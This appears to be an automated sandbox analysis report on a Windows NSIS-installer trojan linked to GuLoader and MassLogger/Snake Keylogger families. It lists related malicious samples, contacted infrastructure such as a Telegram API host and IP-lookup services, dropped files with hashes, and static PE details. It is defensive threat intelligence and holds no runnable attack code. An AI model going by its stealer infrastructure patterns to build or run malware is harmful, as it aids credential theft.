Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4UQ5wnI389.exe renamed because original name is a hash value
Original Sample Name:	280344d8a94a23a0e351b1c1553ed3f1ae6db9c06c75ecda292211f5562de552.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 164 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.60
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:25:32	API Interceptor	475x Sleep call for process: 4UQ5wnI389.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
104.21.112.1	9MZZG92yMO.exe	Get hash	malicious	FormBook	Browse	www.buyspeechst.shop/qzi3/
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.buyspeechst.shop/w98i/
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
158.101.44.242	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	2V7usxd7Vc.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	tx4pkcHL9o.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
reallyfreegeoip.org	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
api.telegram.org	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
CLOUDFLARENETUS	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
	statement.doc	Get hash	malicious	KnowBe4	Browse	104.17.245.203
	http://url4619.blast.fresha.com/ls/click?upn=u001.G0bnNiVD8tDhPRdNyxjhDe6AC2ZUylxwA-2FPGy7qPBOFCUALhhiYANslkdkKDsOuTa2ZqT7n3N6bFcUrsV3ma3w-3D-3DiLPp_ykKDCurTiMzdScmvRsWtgHw-2Bx-2FsD8gtjZ2QYvaL9rQITVCU8DqQaupyP3UmfqTkykrcOULUqJB8vo6EwGC-2FXTrZZmpb9VysDXh-2Bs9eImE1UjAPhR388ASwoK2AP8BEYSRfU-2BeoIKBzUjhDstghksAsPKSpvEGafa0WwVUEqkryumMEQR7LzeuVihS6omMjDxWLWVMpRaOOynXHENqj69QJe59g4iFPytRm60mTk5xjXMgeEaRzFxoPJ4ml3mi0VzHAqUdjS3jfMBnOzPxHyb77YZzptZnuj5FOqVfelcRKxyeSqvYRwMU4ICLhbfcggUpY9RSJQ7f8uHQHGk5X2Upw-3D-3D	Get hash	malicious	Unknown	Browse	104.17.245.203
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	http://diebinjmajbkhhg.top/1.php?s=527	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 216.58.206.33
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	142.250.186.78 216.58.206.33
	IpykYx5iwz.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.186.78 216.58.206.33
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 216.58.206.33
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 216.58.206.33
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 216.58.206.33
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 216.58.206.33
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.186.78 216.58.206.33
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.186.78 216.58.206.33
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.78 216.58.206.33

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	low
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Hjforrdere.Pyr

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	data
Category:	dropped
Size (bytes):	263905
Entropy (8bit):	7.804338822214614
Encrypted:	false
SSDEEP:	6144:+1dPzivkruZ4jppvyBohPP2eZHuy+5H0OMyfRmsnoBAXe3VnYyHeCYo6P/+:LA3+B0OFO+O3yCYo6e
MD5:	2B84547146C33EACE918454BBB321D1E
SHA1:	F3E386DD5507B4D4217430616C67C6C7210C45D8
SHA-256:	D2CBB5A4E949819D3D6F1959AAFE1690993CFD926EE2E57C0E632D9BBE0039C3
SHA-512:	3BAEA26BF26A41A20F822A28A0FD6F784499EFD6FEDE45C426046C8C43CF8C5603351DF866F3AFA0798F1DF998229C88FA342637421D40E217BB15A8DD72265D
Malicious:	false
Reputation:	low
Preview:	...............>>>>>>.666...................................................K.......................}.......................z........~.....99......]........=..........DDDDDD...........f.................oo.................TTT......J......................V.p.f.....U....YY........................&...>...zzz. .....).i.........X..y.....JJ...............{..._............................Q..Z.............8..........111...l..........M.............}}...............U...OO.....................;;.........ff..]]]]]......^^.......................C......................\.............UU.*...AA.........................22................................0.................<....e.........)...W.77.../......................................u.?..uu......\\....................^^......UU.}}...............%%%%%%.....................Y..........s...........I..p......VVVVVVVV..................cc......TTT.}}}}..M..............................a.L............V..............s...55...........................??.e..........

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	low
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	low
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Uncomeliness.Lba

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	data
Category:	dropped
Size (bytes):	78506
Entropy (8bit):	4.627866955287932
Encrypted:	false
SSDEEP:	1536:Jo2l2OoxXvyZR1CFGSp769MkepEHgYM23zF5Z:J7M/y/1K7x69cYF3zFH
MD5:	9414AC12239022414DCE454B2F9DA8A1
SHA1:	D2741280D6FCF98342864F050A70DB911A3258A3
SHA-256:	4A977072857D8FCFDBE8ABFF9BE46A3809544B21848EF7106DACDB1624F7D23C
SHA-512:	6A7A88491782D8AA12FBE6D70267AE06727A956DB4EEC457A8394083E42938B670862A8C985D4C848AD2C9A57AA8994C8D6C1ADAC935315CCD8FE01E85C679E5
Malicious:	false
Reputation:	low
Preview:	...................................uuu...........QQQ...>>.88..MM.ee.........ccc..........\|\|............00..ddd...'..@.......J.......GGGGGG..~...}}}}...YY..........DDD....................3..ffff..f..............x.t......................................CCCCCC....................................J.................'....;.........y.......................c.........E......................++.66...N.......XX...............ccc........... ..............FF......k................'...........................33.}}.......77...............................................~.R..........rr.........................!........'..%%.7...5..,.<..yy..........................***.'......<......mm..............AAA....{{{................k....[[..............................................HHH..22222..........`````.A.++.PPP........<.....}............T.5.....p........^^^.1.....................................o.P..s...mmmm.VVV....K.................... .......'....bb..........==.b.....7777......qq....iiii.....Y.....@@@..

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsm4D9F.tmp

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	data
Category:	dropped
Size (bytes):	1466952
Entropy (8bit):	5.449193204118006
Encrypted:	false
SSDEEP:	24576:sEo0OFO+IAoUo3xX3y4bz2lWwWo6rSTZyzq1o:L+IAoUoBXbz2luo6rS1yOa
MD5:	9A9CCC3CCCE3305D7BF0D4EA385269AD
SHA1:	40414B284951F2AE6FC28DE7685BC4EDEA5B8AA1
SHA-256:	486666369323B4030572089BABA690081877958623BE60CC383FE35A32BDFF9B
SHA-512:	5ABB2C3A5DE3E95B3C7E8A311B56429C6B34904AF052539EB3FD1CC3D3A51EE2A1298106E5BDF6B76A31C69AE92C2A4A66B673821684D8D7731D87713C0593C8
Malicious:	false
Preview:	.5......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...........w...h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\4UQ5wnI389.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse Filename: Awb 4586109146.bat.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.958826864523069
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4UQ5wnI389.exe
File size:	1'007'544 bytes
MD5:	f28c3285968229b7e0c723633fb5c161
SHA1:	8be784dccfd84953c94642021a261a4459c68df8
SHA256:	280344d8a94a23a0e351b1c1553ed3f1ae6db9c06c75ecda292211f5562de552
SHA512:	3d4fef27b561a06e008d62f66f0b7981395e86a7a2b138110e9e08e7790bc98f038c13a606c0d12d72966fce37effc735ea12a292db959529dd9aaafadf8001c
SSDEEP:	24576:9jwKCNPkrUC1yYQemy1+GOj3iQhDzKZukJETb9HLIpk:V1CFkzm/jyrzendJ
TLSH:	C025330AA096DE47D1D68BF0A60798EF7D756D0308A0D65737600E2E3E39AFB8D197D0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
